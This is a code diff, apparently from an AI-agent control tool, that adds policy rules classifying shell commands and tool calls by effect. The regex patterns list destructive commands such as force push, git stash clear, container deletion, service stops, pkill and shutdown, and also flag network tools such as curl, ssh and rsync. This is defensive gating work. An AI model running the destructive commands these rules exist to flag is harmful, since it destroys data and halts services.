- match: '^\s*git\s+branch\s+-[dD]\b'
|
|
101
|
+
class: DESTRUCTIVE
|
|
102
|
+
# Found by the hold-out set, not by design (`docs/0026` §4).
|
|
103
|
+
- match: '^\s*git\s+stash\s+(drop|clear)\b'
|
|
104
|
+
class: DESTRUCTIVE
|
|
105
|
+
- match: '\b(git\s+push\s+.*--force|--force-with-lease)'
|
|
106
|
+
class: DESTRUCTIVE
|
|
107
|
+
# orchestration verbs that remove or halt running things
|
|
108
|
+
- match: '\b(kubectl|docker|podman)\s+(rm|rmi|delete|kill|down)\b'
|
|
109
|
+
class: DESTRUCTIVE
|
|
110
|
+
- match: '\b(systemctl|service)\s+(stop|disable|mask)\b'
|
|
111
|
+
class: DESTRUCTIVE
|
|
112
|
+
- match: '^\s*(shutdown|reboot|halt|pkill|killall)\b'
|
|
113
|
+
class: DESTRUCTIVE
|
|
114
|
+
|
|
115
|
+
# -- reaches someone else's machine ----------------------------------
|
|
116
|
+
- match: '^\s*git\s+(commit|tag|merge|rebase|cherry-pick)\b'
|
|
117
|
+
class: NON_IDEMPOTENT_WRITE
|
|
118
|
+
probe: git
|
|
119
|
+
- match: '^\s*git\s+push\b'
|
|
120
|
+
class: EXTERNAL
|
|
121
|
+
probe: git
|
|
122
|
+
- match: '^\s*(curl|wget|http|ssh|scp|rsync)\b'
|
|
123
|
+
class: EXTERNAL
|
|
124
|
+
- match: '^\s*(pip|pip3|npm|pnpm|yarn|apt|apt-get|brew)\s+(install|add|upgrade)\b'
|
|
125
|
+
class: EXTERNAL
|
|
126
|
+
|
|
127
|
+
bash: { alias: execute_bash }
|
|
128
|
+
|
|
129
|
+
# EXTERNAL effects reach somebody else's server, so they cannot be
|
|
130
|
+
# fingerprinted. Declaring the argument that carries an idempotency key is
|
|
131
|
+
# what makes a retry safe instead of fail-closed. docs/0020
|
|
132
|
+
http_post:
|
|
133
|
+
class: EXTERNAL
|
|
134
|
+
idempotency_key: idempotency_key
|
|
135
|
+
http_request:
|
|
136
|
+
class: EXTERNAL
|
|
137
|
+
idempotency_key: idempotency_key
|
|
138
|
+
|
|
139
|
+
# No key mechanism declared -> stays fail-closed, which is correct.
|
|
140
|
+
send_email: { class: EXTERNAL }
|
|
141
|
+
|
|
142
|
+
# MCP tools are remote, third-party and opaque. docs/0010 §8.2
|
|
143
|
+
mcp:
|
|
144
|
+
default: EXTERNAL
|
|
145
|
+
servers:
|
|
146
|
+
filesystem:
|
|
147
|
+
tools:
|
|
148
|
+
read_file: PURE_READ
|
|
149
|
+
list_directory: PURE_READ
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
"""Policy: compiled out-of-band, read in-band. M7.
|
|
2
|
+
|
|
3
|
+
from agentctl.control.policy import compile_policy, compile_to, PolicyError
|
|
4
|
+
|
|
5
|
+
The kernel reads the compiled artifact via `agentctl.kernel.policy.Policy` and
|
|
6
|
+
never imports this module -- `docs/0008` R2.
|
|
7
|
+
"""
|
|
8
|
+
from .compile import EFFECT_RULES, PolicyError, compile_policy, compile_to
|
|
9
|
+
|
|
10
|
+
__all__ = ["compile_policy", "compile_to", "PolicyError", "EFFECT_RULES"]
|